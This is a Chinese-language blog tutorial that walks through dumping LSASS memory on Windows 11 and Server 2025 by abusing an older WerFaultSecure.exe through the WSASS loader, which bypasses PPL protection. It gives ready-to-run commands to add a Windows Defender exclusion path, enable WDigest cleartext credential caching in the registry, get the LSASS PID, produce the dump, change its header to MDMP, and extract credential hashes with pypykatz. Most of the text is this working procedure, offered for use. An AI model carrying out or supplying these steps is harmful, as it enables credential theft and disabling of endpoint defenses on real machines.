利用 WerFaultSecure绕过Lsass(TTL)保护

利用 WerFaultSecure绕过Lsass(TTL)保护

在较新版本的 Windows 中LSASS 受到 PPL(Protected Process Light)机制的保护,所以即使我们拥有管理员权限,也没办法直接访问 lsass 进程的内存区域,除非具备内核级权限或本身同为 PPL 保护进程。

针对这种机制的保护,就可以用到“WerFaultSecure.exe”,它独特的机制可以负责在应用程序或系统进程崩溃时收集并上报故障数据,属于 Windows 错误报告服务(WER)组件。

本文通过新版本 Windows server 2025 中的 WerFaultSecure.exe 工具来演示在新版本(包含 Windows 11 系统)中获取 lsass 进程内存。

1. 详细操作

首先将旧版本的 WerFaultSecure.exe复制至目标机器,随后使用 WSASS加载器(github下载地址;https://github.com/2x7EQ13/WSASS)激活其转储 LSA 内存区域的功能。

先设置白名单名录

powershell执行
Add-MpPreference -ExclusionPath "C:\users"
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath #验证排除项是否添加成功

cmd执行
powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\users'"
powershell.exe -Command "Get-MpPreference | Select-Object -ExpandProperty ExclusionPath" #验证排除项是否添加成功

开启 WDigest 协议的明文密码缓存,Windows 会将登录密码明文存储在 LSASS 进程内存中。(这主要针对旧版 Windows。如果你是在 Windows 8.1 / Server 2012 R2 及以上版本,微软早已通过补丁关闭此功能,即使注册表设为 1 也无效)

CMD执行;

reg add hklm\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

等待下次用户登录windows(这里作者仅做测试直接注销windows后重新mstsc连接)

PowerShell执行查找lsass的进程[uid];

Get-Process lsass | Select-Object Id

d2b5ca33bd20260526210112

在存在WerFaultSecure.exe的文件路径打开cmd执行

WSASS.exe "C:\path\to\WerFaultSecure.exe" [LSASS_PID]

d2b5ca33bd20260526210336

运行后会在 WSASS.exe目录生成一个 proc.png,将其 PNG 头更改为 {0x4D, 0x44, 0x4D, 0x50}(MDMP),即可作为 MINIDUMP文件。(注意;在EMeditor以二进制方式打开(十六进制视图)打开)

d2b5ca33bd20260526210954

随后使用 pypykatz解析即可获取提取的密码凭证。

Github下载pypykatz路径;https://github.com/skelsec/pypykatz

下载后CMD执行

Via PIP

pip3 install pypykatz

安装

python3 setup.py install

在存在WerFaultSecure.exe的文件路径打开cmd执行保存好的png文件

pypykatz lsa minidump proc.png

d2b5ca33bd20260526211527

到这里完美收官!成功解析到哈希!

2. 可能遇到的事件

1;在使用pypykattz遇到python环境变量问题,只需将将pypykatz文件丢到环境变量即可。

2;在获取png文件时,没有等待执行打包完成就去编辑,会导致文件缺失。

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
island的头像-赤道学院
评论 抢沙发

请登录后发表评论

    暂无评论内容